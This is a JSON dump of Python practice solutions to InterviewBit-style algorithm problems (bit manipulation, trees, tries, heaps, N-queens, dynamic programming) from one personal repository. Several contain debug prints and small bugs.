[ { "alpha_fraction": 0.4000000059604645, "alphanum_fraction": 0.42692306637763977, "avg_line_length": 19.076923370361328, "blob_id": "beb1af72609a8848a78408b41b550442bad5a67a", "content_id": "8afec05561bfc7f4491dd27084f9a418370d3063", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "no_license", "max_line_length": 31, "num_lines": 13, "path": "/Bit Manipulation/numSetBits.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def numSetBits(self, A):\n count = 0\n while A > 0:\n if A & 1:\n count += 1\n A = A >> 1\n return count\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.singleNumber(11))" }, { "alpha_fraction": 0.3723404109477997, "alphanum_fraction": 0.3847517669200897, "avg_line_length": 25.85714340209961, "blob_id": "1f8a95686151c7ab0607456ea6e1343bda54d0d4", "content_id": "654a967b54b0ef2fb4acfc7e04a4c40b66ad644b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 564, "license_type": "no_license", "max_line_length": 47, "num_lines": 21, "path": "/Stack and Queues/simplifyDirectoryPath.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def simplifyPath(self, A):\n paths = A[1:].split('/')\n queue = []\n length = 0\n for path in paths:\n if path == '.':\n continue\n elif path == '..':\n if length > 0:\n queue.pop(length-1)\n length -= 1\n elif len(path) > 0:\n queue.append(path)\n length += 1\n return '/' + '/'.join(queue)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.simplifyPath(\"/a/./b/../../c/\"))\n" }, { "alpha_fraction": 0.4739336371421814, "alphanum_fraction": 0.4976303279399872, "avg_line_length": 23.14285659790039, "blob_id": "667a5a7807b06e58e99590a59d4e012c6d8b413d", "content_id": "92715e17cfcabc3f835eaa5d4483c0f02a266c1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 79, "num_lines": 35, "path": "/Trees/BTfromInPost.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution():\n\n def BTfromInPost(self, A, B):\n head = self.get_BT(A, B)\n return head\n\n def get_BT(self, A, B):\n if not A:\n return None\n n = len(B)\n node = Node(B[n-1])\n index = A.index(B[n-1])\n node.left = self.get_BT(A[:index], B[:index])\n node.right = self.get_BT(A[index+1:], B[index:n-1])\n return node\n\n def print_inorder(self, node):\n if node == None:\n return\n self.print_inorder(node.left)\n print (node.val)\n self.print_inorder(node.right)\n\nif __name__ == \"__main__\":\n\n sol = Solution()\n head = sol.BTfromInPost([4, 8, 2, 5, 1, 6, 3, 7], [8, 4, 5, 2, 6, 7, 3, 1])\n sol.print_inorder(head)" }, { "alpha_fraction": 0.2907651662826538, "alphanum_fraction": 0.38997361063957214, "avg_line_length": 38.9052619934082, "blob_id": "1b2b01688400639f362e52ffaed9aa18051a5f54", "content_id": "139a5c477d4b1ad845406e318cde260b0d790dd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3790, "license_type": "no_license", "max_line_length": 592, "num_lines": 95, "path": "/hashing/pointStraightLine.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import fractions\n\nclass Solution():\n\n def points(self, A, B):\n hash_map = {}\n n = len(A)\n maxlen = 0\n if n == 1:\n return 1\n print (n)\n for i in range(n):\n for j in range(i+1, n):\n p1 = (A[i], B[i])\n p2 = (A[j], B[j])\n slope = 0.0\n if A[j] != A[i]:\n if B[j] != B[i]:\n slope = (p2[1] - p1[1]) / ((p2[0] - p1[0]) * 1.0)\n else:\n slope = \"inf\"\n print (slope)\n if slope in hash_map:\n # if i not in hash_map[slope]:\n # hash_map[slope].append(i)\n # if j not in hash_map[slope]:\n # hash_map[slope].append(j)\n hash_map[slope] += 1\n if hash_map[slope] > maxlen:\n maxlen = hash_map[slope]\n else:\n hash_map[slope] = []\n # hash_map[slope].append(i)\n # hash_map[slope].append(j)\n hash_map[slope] = 1\n if hash_map[slope] > maxlen:\n maxlen = hash_map[slope]\n return maxlen\n\n def maxPoints(self, A, B):\n hash_map = {}\n n = len(A)\n maxlen = 0\n if n == 1:\n return 1\n for i in range(n):\n for j in range(i + 1, n):\n p1 = (A[i], B[i])\n p2 = (A[j], B[j])\n if A[j] != A[i]:\n yslope = p2[1] - p1[1]\n xslope = p2[0] - p1[0]\n slope = fractions._gcd(yslope, xslope)\n yslope /= slope * 1.0\n xslope /= slope * 1.0\n else:\n xslope = \"inf\"\n yslope = \"inf\"\n print (xslope, yslope)\n print (maxlen)\n # print (hash_map)\n if (xslope, yslope) in hash_map:\n if i not in hash_map[(xslope, yslope)]:\n hash_map[(xslope, yslope)].append(i)\n if j not in hash_map[(xslope, yslope)]:\n hash_map[(xslope, yslope)].append(j)\n if len(hash_map[(xslope, yslope)]) > maxlen:\n maxlen = len(hash_map[(xslope, yslope)])\n else:\n hash_map[(xslope, yslope)] = []\n hash_map[(xslope, yslope)].append(i)\n hash_map[(xslope, yslope)].append(j)\n if len(hash_map[(xslope, yslope)]) > maxlen:\n maxlen = len(hash_map[(xslope, yslope)])\n print (hash_map)\n return maxlen\n\nif __name__ == \"__main__\":\n sol = Solution()\n x = input()\n x = x.split()\n A = []\n B = []\n for i in range(int(x[0])):\n a = int(x[2*i + 1])\n b = int(x[2*i + 2])\n A.append(a)\n B.append(b)\n print (A)\n print (B)\n # print (sol.maxPoints([-6, 5, -18, 2, 5, -2], [-17, -16, -17, -4, -13, 20]))\n print (sol.points(A, B))\n\n## -6 -17 5 -16 -18 -17 2 -4 5 -13 -2 20\n# 96 15 12 9 10 -16 3 -15 15 11 -10 -5 20 -3 -15 -11 -8 -8 -3 3 6 15 -14 -16 -18 -6 -8 14 9 -1 -7 -1 -2 3 11 6 20 10 -7 0 14 19 -18 -10 -15 -17 -1 8 7 20 -18 -4 -9 -9 16 10 14 -14 -15 -2 -10 -18 9 7 -5 -12 11 -17 -6 5 -17 -2 -20 15 -2 -5 -16 1 -20 19 -12 -14 -1 18 10 1 -20 -15 19 -18 13 13 -3 -16 -17 1 0 20 -18 7 19 1 -6 -7 -11 7 1 -15 12 -1 7 -3 -13 -11 2 -17 -5 -12 -14 15 -3 15 -11 7 3 19 7 -15 19 10 -14 -14 5 0 -1 -12 -4 4 18 7 -3 -5 -3 1 -11 1 -1 2 16 6 -6 -17 9 14 3 -13 8 -9 14 -5 -1 -18 -17 9 -10 19 19 16 7 3 7 -18 -12 -11 12 -15 20 -3 4 -18 1 13 17 -16 -15 -9 -9 15 8 19 -9 9 -17" }, { "alpha_fraction": 0.46000000834465027, "alphanum_fraction": 0.4618181884288788, "avg_line_length": 24.045454025268555, "blob_id": "9963d42c8dcd36b708d09513584210c06a63ab94", "content_id": "5156eab8c3a774de4096db059346e3dc1d44d171", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 550, "license_type": "no_license", "max_line_length": 41, "num_lines": 22, "path": "/Linked LIst/removeNthNode.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def removeNthNode(self, A, n):\n ptr = A\n for i in range(n+1):\n if ptr != None:\n ptr = ptr.next\n else:\n return A.next\n head = A\n while ptr != None:\n A = A.next\n ptr = ptr.next\n if A.next != None:\n A.next = A.next.next\n return head" }, { "alpha_fraction": 0.4978601932525635, "alphanum_fraction": 0.5135520696640015, "avg_line_length": 22.779661178588867, "blob_id": "e7d9fe03c50dccd8ef41f1f7ac9cff15f21e9e32", "content_id": "472582895b4c61488c536f6de347adfe1a40767d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1402, "license_type": "no_license", "max_line_length": 64, "num_lines": 59, "path": "/Trees/bstIterator.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass bstIterator():\n\n def __init__(self, head):\n self.head = head\n self.queue = []\n self.current_node = self.next_element(self.head)\n\n def next_element(self, node):\n while node != None or self.queue:\n if node == None:\n temp = self.queue[-1]\n return temp.right\n else:\n self.queue.append(node)\n node = node.left\n\n def next(self):\n value = self.queue.pop() if self.has_next() else None\n self.current_node = self.next_element(self.current_node)\n if value:\n print (value.val)\n return value\n\n def has_next(self):\n if self.queue:\n return True\n return False\n\nif __name__ == \"__main__\":\n head = Node(10)\n node = head\n node.left = Node(5)\n node.right = Node(12)\n left = node.left\n right = node.right\n left.left = Node(4)\n left.right = Node(7)\n left = left.right\n left.right = Node(8)\n right.left = Node(11)\n right.right = Node(17)\n right = right.right\n right.left = Node(16)\n right.right = Node(22)\n sol = bstIterator(None)\n index = 0\n while (1):\n sol.next()\n print (sol.has_next())\n index += 1\n if index > 20:\n break" }, { "alpha_fraction": 0.36246785521507263, "alphanum_fraction": 0.38303342461586, "avg_line_length": 28.923076629638672, "blob_id": "9b4c99cd1bc4382d4b6ef8588f1579722e9e88e7", "content_id": "eb21bcd17f57248fc76f5503ab2efb4d8ffc8f75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 89, "num_lines": 39, "path": "/Strings/minCharacters.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def minCharsToMakePalindromic(self, A):\n n = len(A) - 1\n if n < 0:\n return 0\n start = 0\n end = n\n last = -1\n length = 0\n local_index = (-1, -1)\n while end >= start:\n print (f\"{start}:{A[start]}::{end}:{A[end]}::{last}:{length}::{local_index}\")\n if A[end] != A[start]:\n start = 0\n if A[start] == A[end] and last == -1:\n end = end\n else:\n end = end-1 if last == -1 else last\n last = -1\n length = 0\n else:\n if length == 0:\n local_index = (start, end)\n elif A[0] == A[end] and end > last:\n last = end\n length += 1\n start += 1\n end -= 1\n print (f\"{local_index}::{length}::{n}\")\n if length > 0:\n end = local_index[1]\n return n - end\n else:\n return n if n%2 == 0 else n-1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.minCharsToMakePalindromic(\"ABDE\"))\n" }, { "alpha_fraction": 0.46343743801116943, "alphanum_fraction": 0.47316253185272217, "avg_line_length": 32.42499923706055, "blob_id": "0fdc8b41c64aa6773979362f6ba06ade122592b0", "content_id": "d8435a3e0c271c4ae442ec515d1bca567b408c57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5347, "license_type": "no_license", "max_line_length": 90, "num_lines": 160, "path": "/xor_trie/xor_key_trie.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import collections\n# import time\n\nclass Node:\n def __init__(self):\n self.left_child = None # corresponds to bit 0\n self.right_child = None # corresponds to bit 1\n self.terminus = False\n self.bit_index = {}\n self.word = \"\"\n\n def add(self, child_node, bit, bit_index):\n if bit == '0':\n self.left_child = child_node\n self.left_child.bit_index[bit_index] = 1\n elif bit == '1':\n self.right_child = child_node\n self.right_child.bit_index[bit_index] = 1\n\n def update_terminus(self, status):\n self.terminus = status\n\n def print_node(self):\n print(self.bit_index)\n print(self.terminus)\n print(self.left_child)\n print(self.right_child)\n print(self.word)\n\nclass Trie:\n def __init__(self):\n self.head = Node()\n # print (self.head.bit_index)\n # print (\"head created\")\n\n def insert(self, num, index):\n word = '{0:016b}'.format(num)\n root = self.head\n for i in range(len(word)):\n # print (root.bit_index)\n # print (i)\n if self.has_node(root, word[i]):\n root = root.left_child if word[i] == '0' else root.right_child\n root.bit_index[index] = 1\n else:\n child_node = Node()\n root.add(child_node, word[i], index)\n # root.print_node()\n root = root.left_child if word[i] == '0' else root.right_child\n # root.print_node()\n\n if i == len(word) - 1:\n # print (\" inside terminus array\")\n root.update_terminus(True)\n root.word = word\n # root.print_node()\n\n def has_node(self, node, bit):\n if node == None:\n return False\n if bit == '0':\n return True if node.left_child != None else False\n elif bit == '1':\n return True if node.right_child != None else False\n\n def print_graph(self):\n root = self.head\n queue = collections.deque()\n queue.append(root)\n while len(queue) > 0:\n node = queue.popleft()\n print(node.bit_index)\n if node.terminus == True:\n print(\"word is: \" + node.word)\n if node.left_child != None:\n queue.append(node.left_child)\n if node.right_child != None:\n queue.append(node.right_child)\n\n def find_max_xor_old(self, num):\n word = '{0:016b}'.format(num)\n root = self.head\n optimal_num = -1\n for i in range(len(word)):\n if word[i] == '0':\n root = root.right_child if root.right_child != None else root.left_child\n elif word[i] == '1':\n root = root.left_child if root.left_child != None else root.right_child\n\n if root.terminus == True:\n optimal_num = int(root.word, 2)\n break\n\n return optimal_num\n\n def find_max_xor(self, num, start, end):\n word = '{0:016b}'.format(num)\n root = self.head\n optimal_num = -1\n for i in range(len(word)):\n # print (i)\n if word[i] == '0':\n if root.right_child != None:\n mode = 0\n for k in range(start, end):\n if k in root.right_child.bit_index:\n root = root.right_child\n mode = 1\n break\n if mode == 0:\n root = root.left_child\n else:\n root = root.left_child\n # root = root.right_child if root.right_child != None else root.left_child\n elif word[i] == '1':\n if root.left_child != None:\n mode = 0\n for k in range(start, end):\n if k in root.left_child.bit_index:\n root = root.left_child\n mode = 1\n break\n if mode == 0:\n root = root.right_child\n else:\n root = root.right_child\n # root = root.left_child if root.left_child != None else root.right_child\n\n if root.terminus == True:\n optimal_num = int(root.word, 2)\n break\n\n return optimal_num\n\n\n# millis=int(round(time.time()*1000))\nt = int(input().strip())\nfor test_cases in range(t):\n n, m = input().strip().split(\" \")\n n, m = [int(n), int(m)]\n nums = input().strip().split(\" \")\n nums = [int(num) for num in nums]\n t = Trie()\n # insert_arr = list(set(nums[x - 1:y]))\n for j in range(len(nums)):\n t.insert(nums[j], j)\n # t.print_graph()\n for i in range(m):\n a, x, y = input().strip().split()\n a, x, y = [int(a), int(x), int(y)]\n max_num = t.find_max_xor(a, x-1, y)\n # print (max_num)\n # t = Trie()\n # nums_new = nums[x-1:y]\n # for j in range(len(nums_new)):\n # t.insert(nums[j], j)\n # max_num = t.find_max_xor_old(a)\n print(a ^ max_num)\n# millis1=int(round(time.time()*1000))\n# print(\"timetakenforinternalparse:\"+str(millis1-millis)+\"ms\")" }, { "alpha_fraction": 0.4669487178325653, "alphanum_fraction": 0.4738233685493469, "avg_line_length": 31.620689392089844, "blob_id": "8589fe70728180434d351e3ad59122af4931cd22", "content_id": "cce14ea62af7a35435c4f397a1ec5a234e2b8d33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1891, "license_type": "no_license", "max_line_length": 64, "num_lines": 58, "path": "/double_linked_list_insertion_sort/insertion_sort_with_double_link_list.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, num):\n self.next = None\n self.prev = None\n self.number = num\n\n def add_next(self, node):\n self.next = node\n\n def add_prev(self, node):\n self.prev = node\n\n\nt = int(input().strip())\nfor test_cases in range(t):\n n = int(input().strip())\n inp_array = input().strip().split()\n inp_array = [int(elem) for elem in inp_array]\n\n root = Node(inp_array[0])\n last = root\n total_count = 0\n for i in range(1, n):\n count = 0\n new_node = Node(inp_array[i])\n # print (last.number)\n # print(new_node.number)\n if last.number <= new_node.number:\n last.next = new_node\n new_node.prev = last\n last = new_node\n else:\n count = 1\n previous_node = last\n mode = 0\n while previous_node.prev != None:\n # print (previous_node.prev.number)\n if previous_node.prev.number <= new_node.number:\n new_node.next = previous_node\n new_node.prev = previous_node.prev\n previous_node.prev.next = new_node\n previous_node.prev = new_node\n # print (previous_node.prev.number)\n # print(previous_node.prev.next.number)\n mode = 1\n break\n count = count + 1\n previous_node = previous_node.prev\n if mode == 0:\n # print(previous_node.number)\n new_node.next = previous_node\n previous_node.prev = new_node\n # for j in range(i - 1, -1, -1):\n # if inp_array[j] > inp_array[i]:\n # count = count + 1\n # print (count)\n total_count = total_count + count\n print(total_count)" }, { "alpha_fraction": 0.31138545274734497, "alphanum_fraction": 0.3429355323314667, "avg_line_length": 23.33333396911621, "blob_id": "5561258a596b4bd657f7b487ea31499e3350ade4", "content_id": "f07fa5692844032ab90ab97ad144575053993f92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 729, "license_type": "no_license", "max_line_length": 49, "num_lines": 30, "path": "/Strings/compareVersions.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def compareVersions(self, A, B):\n a = A.split('.')\n b = B.split('.')\n n = len(a)\n m = len(b)\n for i in range(n):\n if i >= m:\n if int(a[i]) == 0:\n return 0\n else:\n return 1\n val1 = int(a[i])\n val2 = int(b[i])\n if val1 > val2:\n return 1\n elif val1 < val2:\n return -1\n if m > n:\n if int(b[m-1]) == 0:\n return 0\n else:\n return -1\n else:\n return 0\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.compareVersions(\"1.13\", \"1.13.4\"))" }, { "alpha_fraction": 0.35597825050354004, "alphanum_fraction": 0.3695652186870575, "avg_line_length": 26.296297073364258, "blob_id": "6febcff0349c05653095f091c65d3e593696fe4d", "content_id": "52f51bd7462dd8271b1f07f5b31c00e3e0e8f804", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 736, "license_type": "no_license", "max_line_length": 58, "num_lines": 27, "path": "/Strings/countAndSay.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def count_and_say(self, n):\n seq = '1'\n count = 1\n while count < n:\n next_seq = ''\n last = ''\n s = len(seq)\n char_count = 0\n for i in range(s):\n if last != seq[i]:\n if char_count > 0:\n next_seq += str(char_count) + last\n last = seq[i]\n char_count = 1\n else:\n char_count += 1\n if char_count > 0:\n next_seq += str(char_count) + last\n seq = next_seq\n count += 1\n return seq\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.count_and_say(20))" }, { "alpha_fraction": 0.41101694107055664, "alphanum_fraction": 0.43644067645072937, "avg_line_length": 24.321428298950195, "blob_id": "d881b8ed92f90da2d55dc6449b9ddb4f8eb2e920", "content_id": "fc698a4d50373f8612d81abe56ec1a0f939f6b8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 55, "num_lines": 28, "path": "/math/sortedPerm.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def sortedPermRank(self, A):\n arr = [letter for letter in A]\n arr.sort()\n n = len(A)\n fact = self.get_fact(n-1)\n num = 1\n for i in range(n-1):\n # print (fact)\n pos = arr.index(A[i])\n num += abs(pos) * fact #if pos-i > 0 else 0\n # print (num)\n # print (pos)\n arr.pop(pos)\n if n-1-i > 0:\n fact = fact // (n-1-i)\n return num % 1000003\n\n def get_fact(self, n):\n num = 1\n for i in range(2, n+1):\n num *= i\n return num\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.sortedPermRank(\"DTNGJPURFHYEW\"))" }, { "alpha_fraction": 0.40893471240997314, "alphanum_fraction": 0.45704466104507446, "avg_line_length": 28.149999618530273, "blob_id": "96583f6ea72f87c09b87dfc0693fc788dd07eb49", "content_id": "89e785e584a190b518cf0c09073089c7894b07bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 582, "license_type": "no_license", "max_line_length": 53, "num_lines": 20, "path": "/Strings/addBinaryStrings.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def addBinaryStrings(self, A, B):\n n = len(A)\n m = len(B)\n length = max(n, m)\n carry = 0\n sum = ''\n for i in range(length):\n val1 = int(A[n-1-i]) if n-1-i >= 0 else 0\n val2 = int(B[m-1-i]) if m-1-i >= 0 else 0\n sum_value = val1 + val2 + carry\n sum += str(sum_value%2)\n carry = sum_value//2\n sum = sum + '1' if carry == 1 else sum\n return sum[::-1]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.addBinaryStrings(\"11\" , \"11111111\"))" }, { "alpha_fraction": 0.4473102390766144, "alphanum_fraction": 0.45689019560813904, "avg_line_length": 32.121952056884766, "blob_id": "9c62d4285cdb1c7f67cff18fe775d630b689553d", "content_id": "9d8475707be3c9208b441f1bd86bc5d195eb59bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1357, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/Trees/LCA.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def LCA(self, A, B, C):\n queue, lca_node = self.get_lca(A, B, C)\n if lca_node:\n return lca_node.val\n return -1\n\n def get_lca(self, node, val1, val2):\n if node == None:\n return [], None\n # print (node.val)\n lqueue, lca_nodel = self.get_lca(node.left, val1, val2)\n # print (lqueue)\n rqueue, lca_noder = self.get_lca(node.right, val1, val2)\n # print (rqueue)\n if lqueue and rqueue:\n lqueue.extend(rqueue)\n return lqueue, node\n elif lqueue or rqueue:\n if node.val == val1 or node.val == val2:\n if lqueue:\n lqueue.append(node)\n return lqueue, node\n if rqueue:\n rqueue.append(node)\n return rqueue, node\n else:\n # return lqueue+rqueue, lca_node\n if lqueue:\n return lqueue, lca_nodel\n if rqueue:\n return rqueue, lca_noder\n else:\n if node.val == val1 and node.val == val2:\n return [node, node], node\n elif node.val == val1 or node.val == val2:\n # print (node.val)\n return [node], None\n else:\n return [], None" }, { "alpha_fraction": 0.3930029273033142, "alphanum_fraction": 0.4518950581550598, "avg_line_length": 28.06779670715332, "blob_id": "5ef5244bcfb2e9a874fc23cb0a5e6903b3419d76", "content_id": "a7ac6e6d256c3f14df3731d93e2515ca4891b691", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3430, "license_type": "no_license", "max_line_length": 125, "num_lines": 118, "path": "/heaps and maps/magicianChocolates.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import heapq\n\nclass Heap():\n def __init__(self):\n self.A = []\n self.length = 0\n\n def insert(self, val):\n self.A.append(val)\n self.heapifyUp()\n self.length += 1\n\n def get_max(self):\n if self.length <= 0:\n return None\n value = self.A[0]\n if self.length > 1:\n self.A[0] = self.A.pop(self.length - 1)\n else:\n self.A = []\n self.length -= 1\n self.heapifyDown()\n return value\n\n def heapifyUp(self):\n child = self.length\n parent = (child - 1) // 2\n while child > 0:\n parent_value = self.A[parent]\n child_value = self.A[child]\n if parent_value >= child_value:\n break\n else:\n self.A[parent], self.A[child] = self.A[child], self.A[parent]\n child = parent\n parent = (child - 1) // 2\n # print (f\"{child}::{parent}\")\n\n def heapifyDown(self):\n index = 0\n while index < self.length:\n c1 = 2 * index + 1\n c2 = 2 * index + 2\n child = index\n if c1 < self.length and self.A[c1] > self.A[child]:\n child = c1\n\n if c2 < self.length and self.A[c2] > self.A[child]:\n child = c2\n\n if child == index:\n break\n\n self.A[child], self.A[index] = self.A[index], self.A[child]\n index = child\n\n def print_element(self):\n for i in range(self.length):\n print (self.A[i], end=' ')\n\nclass Solution:\n # @param A : integer\n # @param B : list of integers\n # @return an integer\n def magicianChocolates(self, A, B):\n heap = Heap()\n for i in range(len(B)):\n heap.insert(B[i])\n print(heap.print_element())\n print (heap.print_element())\n out = 0\n div = pow(10, 9) + 7\n for i in range(A):\n val = heap.get_max()\n print (val)\n if not val:\n break\n out = (out + (val % div)) % div\n heap.insert(val // 2)\n print(heap.print_element())\n return out\n\n def nchoc(self, A, B):\n heap = []\n for i in range(len(B)):\n heapq.heappush(heap, -B[i])\n # print (heap)\n out = 0\n div = pow(10, 9) + 7\n for i in range(A):\n val = heapq.heappop(heap) if B else None\n print (val)\n if not val:\n break\n out = (out + (-val % div)) % div\n heapq.heappush(heap, -(-val // 2))\n print(heap)\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n # print(sol.magicianChocolates(11,\n # [18, 90, 18, 15, 94, 60, 45, 39, 38, 77, 56, 70, 67, 91, 85, 90, 44, 26, 40, 10, 63, 36, 60, 10, 30,\n # 47, 76, 11, 69, 38, 51, 38, 79, 68, 5, 72, 80, 49, 63]))\n print (sol.nchoc(11, [18, 90, 18, 15, 94, 60, 45, 39, 38, 77, 56, 70, 67, 91, 85, 90, 44, 26, 40, 10, 63, 36, 60, 10, 30,\n 47, 76, 11, 69, 38, 51, 38, 79, 68, 5, 72, 80, 49, 63]))\n # sol = Heap()\n # print (sol.get_max())\n # sol.insert(10)\n # sol.printHeap()\n # sol.insert(20)\n # sol.printHeap()\n # sol.insert(3)\n # sol.printHeap()\n # sol.insert(4)\n # sol.printHeap()\n # print (sol.get_max())\n # sol.printHeap()\n" }, { "alpha_fraction": 0.3224637806415558, "alphanum_fraction": 0.3478260934352875, "avg_line_length": 24.136363983154297, "blob_id": "57c248efd86009db4c9395ac103417f376a569b5", "content_id": "d62296b5cb9e93a0cc2cf839afe8980409463023", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 552, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/Two Pointers/diffk.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def diff(self, A, B):\n start = 0\n end = 1\n while end < len(A):\n value = A[end] - A[start]\n print (f\"{start}::{end}::{value}\")\n if value == B:\n return 1\n elif value > B:\n if start != end - 1:\n start += 1\n else:\n end += 1\n elif value < B:\n end += 1\n return 0\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.diff([ 1, 2, 2, 3, 4 ], 0))" }, { "alpha_fraction": 0.3747769296169281, "alphanum_fraction": 0.3884592652320862, "avg_line_length": 31.346153259277344, "blob_id": "2374bb7d5f4c20b16953776dc055ebfe5e857941", "content_id": "35ebb4c3c86362309103aabe45d4f85ca2b2bea4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1681, "license_type": "no_license", "max_line_length": 84, "num_lines": 52, "path": "/backtracking/nqueens.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import copy\nclass Solution():\n\n def nqueen(self, A):\n arr = [[0 for i in range(A)] for j in range(A)]\n out = []\n self.nqueenCheck(arr, 0, out)\n return out\n\n def nqueenCheck(self, arr, index, out):\n n = len(arr)\n if index == n:\n self.convertArr(arr)\n out.append(arr)\n return\n for i in range(n):\n if arr[index][i] == 0:\n new_arr = copy.deepcopy(arr)\n # new_arr = arr[:][:]\n new_arr[index][i] = 10*n\n self.markBoard(new_arr, index, i)\n self.nqueenCheck(new_arr, index+1, out)\n\n def markBoard(self, arr, x, y):\n n = len(arr)\n for i in range(n):\n arr[x][i] = arr[x][i] + 1 if i != y else arr[x][i]\n arr[i][y] = arr[i][y] + 1 if i != x else arr[i][y]\n if x-i >= 0:\n if y-i >= 0:\n arr[x-i][y-i] = arr[x-i][y-i] + 1 if i!=0 else arr[x-i][y-i]\n if y+i < n:\n arr[x - i][y + i] = arr[x-i][y+i] + 1 if i!=0 else arr[x-i][y+i]\n if x+i < n:\n if y-i >= 0:\n arr[x + i][y - i] = arr[x+i][y-i] + 1 if i!=0 else arr[x+i][y-i]\n if y+i < n:\n arr[x + i][y + i] = arr[x+i][y+i] + 1 if i!=0 else arr[x+i][y+i]\n\n def convertArr(self, arr):\n n = len(arr)\n for i in range(n):\n for j in range(n):\n if arr[i][j] // (10*n) > 0:\n arr[i][j] = 'Q'\n else:\n arr[i][j] = '.'\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.nqueen(4))" }, { "alpha_fraction": 0.3248031437397003, "alphanum_fraction": 0.3444882035255432, "avg_line_length": 23.238094329833984, "blob_id": "851a7ae49289a81849bf1403c820538a1b81a49e", "content_id": "4d362d146d1f2b558d3a872f9a095dcbdce50484", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 508, "license_type": "no_license", "max_line_length": 33, "num_lines": 21, "path": "/math/primeNumbersN.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @return a list of integers\n def sieve(self, A):\n a = [0] * (A + 1)\n primes = []\n for i in range(2, A + 1):\n if a[i] == 0:\n primes.append(i)\n a[i] += 1\n j = 2\n while i * j <= A:\n print (i*j)\n a[i * j] += 1\n j += 1\n\n return primes\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.sieve(5))" }, { "alpha_fraction": 0.38015463948249817, "alphanum_fraction": 0.41237112879753113, "avg_line_length": 31.375, "blob_id": "411a4f91f513cb9a60ce3a7854841440cfb29292", "content_id": "443d10daa629c92d2d36b70619072d436d3aba1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 58, "num_lines": 24, "path": "/DP/uniqueGridPathWithObstacle.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : list of list of integers\n # @return an integer\n def uniquePathsWithObstacles(self, A):\n row = len(A)\n column = len(A[0])\n if A[0][0] == 1:\n return 0\n for i in range(row):\n for j in range(column):\n if i == 0 and j == 0:\n A[i][j] = 1\n continue\n if A[i][j] == 1:\n A[i][j] = 0\n continue\n top_val = 0 if j - 1 < 0 else A[i][j - 1]\n left_val = 0 if i - 1 < 0 else A[i - 1][j]\n A[i][j] = top_val + left_val\n return A[row - 1][column - 1]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print 